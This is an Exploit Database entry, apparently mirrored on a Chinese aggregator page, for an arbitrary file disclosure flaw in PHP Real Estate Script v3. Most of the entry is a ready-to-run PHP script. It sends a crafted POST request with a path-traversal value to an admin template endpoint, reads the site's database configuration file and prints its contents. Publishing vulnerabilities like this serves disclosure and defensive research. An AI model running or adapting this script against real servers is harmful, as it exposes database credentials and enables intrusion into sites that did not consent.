PHP Real Estate Script 3 – Arbitrary File Disclosure

• Exploit Database
• 18 阅读

• 作者： Meisam Monsef
  日期： 2016-07-08
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/40076/

• # Exploit Title: php Real Estate Script Arbitrary File Disclosure
  # Date: 2016-07-08
  # Exploit Author: Meisam Monsef meisamrce@yahoo.com or meisamrce@gmail.com
  # Vendor Homepage: http://www.realestatescript.eu/
  # Version: v.3
  # Download Link : http://www.realestatescript.eu/downloads/realestatescript-v3.zip
  
  Exploit : 
  <?php
  //read db config file 
  $post_data = 'tpl=../../private/config/db.php';//change read file path
  $host = "www.server.local";//change victim address
  $socket = fsockopen($host, 80, $errno, $errstr, 15);
  if(!$socket){
  echo ' error: ' . $errno . ' ' . $errstr;
  die;
  }else{
  //change [demo/en] path server
  $path = "/demo/en/";
  $http= "POST {$path}admin/ajax_cms/get_template_content/ HTTP/1.1\r\n";
  $http .= "Host: $host\r\n";
  $http .= "Content-Type: application/x-www-form-urlencoded\r\n";
  $http .= "Content-length: " . strlen($post_data) . "\r\n";
  $http .= "Connection: close\r\n\r\n";
  $http .= $post_data . "\r\n\r\n";
  fwrite($socket, $http);
  $contents = "";
  while (!feof($socket)) {
  $contents .= fgets($socket, 4096);
  }
  fclose($socket);
  $e = explode('Content-Type: text/html',$contents);
  print $e[1];
  }
  ?>